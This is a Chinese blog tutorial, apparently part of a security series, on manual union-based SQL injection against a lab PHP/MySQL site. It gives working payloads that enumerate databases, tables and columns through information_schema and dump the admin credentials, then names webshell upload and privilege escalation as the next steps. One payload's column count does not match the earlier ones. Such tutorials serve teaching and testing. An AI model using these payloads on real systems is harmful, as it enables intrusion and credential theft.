網路安全系列之二十 手工SQL注入(PHP)

來源:互聯網
上載者:User

標籤:web滲透 sql注入 php注入 手工注入 mysql

在掌握了MySQL的基本操作之後,在本篇博文中將介紹如何進行手工PHP注入。目標網站仍然採用NPMserv搭建,軟體:http://down.51cto.com/data/1886128。

首先隨便開啟一個頁面,利用and 1=1和and 1=2判斷是否存在注入點。

然後利用order by推斷欄位數量,這裡推斷出有5個欄位。

接下來執行語句“union select 1,2,3,4,5”爆出2、3欄位可以調用參數。

以上操作與ASP手工注入方法基本相同,不熟悉的朋友可以參考博文http://yttitan.blog.51cto.com/70821/1560917。

下面就要開始用到MySQL的一些查詢操作了。

 

(1) 爆基本資料

首先我們來爆出目前使用者名和資料庫名。

查目前使用者的參數是user(),查當前資料庫的參數是database(),將兩個參數代入到2、3欄位中:

union select 1,user(),database(),4,5

成功爆出使用者名稱root,當前資料庫名govcn

650) this.width=650;" style="border-bottom:0px;border-left:0px;border-top:0px;border-right:0px;" title="image" border="0" alt="image" src="http://img1.51cto.com/attachment/201411/1/70821_1414883615bY9E.png" height="77" />

再接著爆資料庫版本和作業系統版本

查資料庫版本的參數是version(),查作業系統版本的參數是@@version_compile_os,將這2個參數也代入2、3欄位:

union select 1,version(),@@version_compile_os,4,5

成功爆出資料庫版本為5.1.35,作業系統版本為Win32。

 

(2) 爆出所有的資料庫名

下面就要藉助於information_schema資料庫來爆出我們關心的敏感資訊。

首先爆出系統中都存在哪些資料庫:

union select 1,schema_name,3,4,5 from information_schema.schemata

information_schema是MySQL5以後的版本中預設內建的一個資料庫,它裡面存放了由使用者在MySQL中建立的所有其它資料庫的資訊。information_schema資料庫中預設有一個名為schemata的表,用於存放其它資料庫的名字。所以上面那個查詢語句的作用就是從information_schema資料庫的schemata表中查詢出所有資料庫的名字。

這裡爆出共有4個資料庫:

650) this.width=650;" style="border-bottom:0px;border-left:0px;border-top:0px;border-right:0px;" title="image" border="0" alt="image" src="http://img1.51cto.com/attachment/201411/1/70821_1414883616tYL7.png" height="202" />

Information_schema和mysql都是MySQL中內建的資料庫,因而我們關心的就是剩餘的那兩個庫:blog和govcn,這其中比較重要的應該是govcn,再加上之前我們已經爆出當前庫就是它,所以下面自然將它列為重點目標了。

 

3)爆表名

下面我們要爆出govcn資料庫中都有哪些表。MySQL中所有資料庫的表的資訊都統一存放在information_schema資料庫的tables表中,從這個表中就可以查出govcn資料庫中包含哪些表。

union select 1,table_name,3,4,5 from information_schema.tables where table_schema=’govcn’

成功爆出govcn資料庫中所有的表,很明顯其中最重要的是admin表。

650) this.width=650;" style="border-bottom:0px;border-left:0px;border-top:0px;border-right:0px;" title="image" border="0" alt="image" src="http://img1.51cto.com/attachment/201411/1/70821_1414883616cJgY.png" height="310" />

 

(4)爆欄位名

接下來需要知道admin表中都包含哪些欄位。所有資料庫的所有表中的所有欄位都存放在information_schema資料庫中的columns表中。

union select 1,column_name,3,4,5 from information_schema.columns where table_name=’admin’

成功爆出admin表中共有2個欄位:

650) this.width=650;" style="border-bottom:0px;border-left:0px;border-top:0px;border-right:0px;" title="image" border="0" alt="image" src="http://img1.51cto.com/attachment/201411/1/70821_1414883616EAyv.png" height="123" />

 

(5)爆使用者名稱和密碼

最後一步就是需要查出在admin表中的username欄位和password欄位都存放了哪些資料,也就是網站的使用者名稱和密碼了。

union select 1,username,password,4,5 from admin

這裡執行會出現錯誤,原因可能是因為網站編碼不一致導致的問題,可以利用unhex(hex())函數進行編碼轉換:

union select 1,unhex(hex(username)),unhex(hex(password)),4 from admin

然後就成功爆出使用者名稱admin,以及md5加密後的密碼:

650) this.width=650;" style="border-bottom:0px;border-left:0px;border-top:0px;border-right:0px;" title="image" border="0" alt="image" src="http://img1.51cto.com/attachment/201411/1/70821_1414883616tYy8.png" height="60" />

再接下來的工作就簡單了:破解密碼->登入後台->上傳WebShell->提權。這裡就不再重複了。

本文出自 “一壺濁酒” 部落格,轉載請與作者聯絡!

網路安全系列之二十 手工SQL注入(PHP)

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.